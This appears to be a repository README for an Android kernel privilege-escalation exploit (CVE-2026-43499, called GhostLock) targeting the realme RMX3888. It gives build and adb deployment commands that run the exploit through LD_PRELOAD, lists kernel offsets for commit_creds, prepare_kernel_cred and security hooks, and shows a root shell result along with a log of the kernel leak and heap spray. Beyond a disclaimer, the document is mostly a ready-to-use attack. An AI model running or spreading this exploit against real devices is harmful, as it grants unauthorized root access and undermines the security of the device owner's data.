
CVE-2026-43499 exploit configuration for realme RMX3888 (Android 16) - 20 verified kernel offsets
This repository contains the complete configuration files for CVE-2026-43499 (GhostLock) exploit targeting the realme RMX3888 device. All kernel offsets have been extracted and verified from the device's boot.img.
✓ 20 verified kernel offsets extracted from vmlinux
✓ Real-time logging with O_SYNC + fsync for kernel panic safety
✓ Device-specific configuration for RMX3888
✓ One-click compilation script with NDK auto-detection
✓ Comprehensive documentation with build guides
ealtime_log.h - Real-time logging implementation
ound2_report.md - Configuration report (Round 2)
git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh
On Windows Git Bash, the script auto-detects the default SDK path used by Android Studio and command-line tools: /c/Android/Sdk/ndk/*.
Note: ASHMEM_MISC_FOPS, ASHMEM_COMPAT_IOCTL, and COPY_SPLICE_READ currently use build-compatible fallbacks in the RMX3888 target header. Replace those with verified RMX3888 vmlinux offsets before relying on runtime behavior.
# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/
# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so
# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# Check logs
adb shell cat /sdcard/Download/log_*.txt
The main offsets below were extracted from kernel 6.1.141. See the note above for build-compatible fallback entries that still need RMX3888-specific verification.
#define KIMAGE_TEXT_BASE 0xffffffc008000000ULL
#define INIT_TASK_OFF 0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF 0x0126bbe0ULL
#define COMMIT_CREDS 0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED 0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets
The integrated real-time logging module provides:
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...
[18:00:01] [] Starting exploit... [18:00:02] [+] Kernel base leaked: 0xffffffc008000000 [18:00:03] [] Preparing heap spray... ... `
See BUILD_GUIDE.md for detailed troubleshooting instructions including:
⚠️ WARNING: This configuration is for authorized security research only.
This configuration is provided for educational and security research purposes only.
This repository contains security research materials. The authors and contributors are not responsible for any misuse or damage caused by this code. Use at your own risk and only on devices you own or have explicit authorization to test.
Generated: 2026-07-23
Kernel Version: 6.1.141-android14-11-o-gffc54a6d2287
Offset Verification: 100% (20/20)
Status: Ready for compilation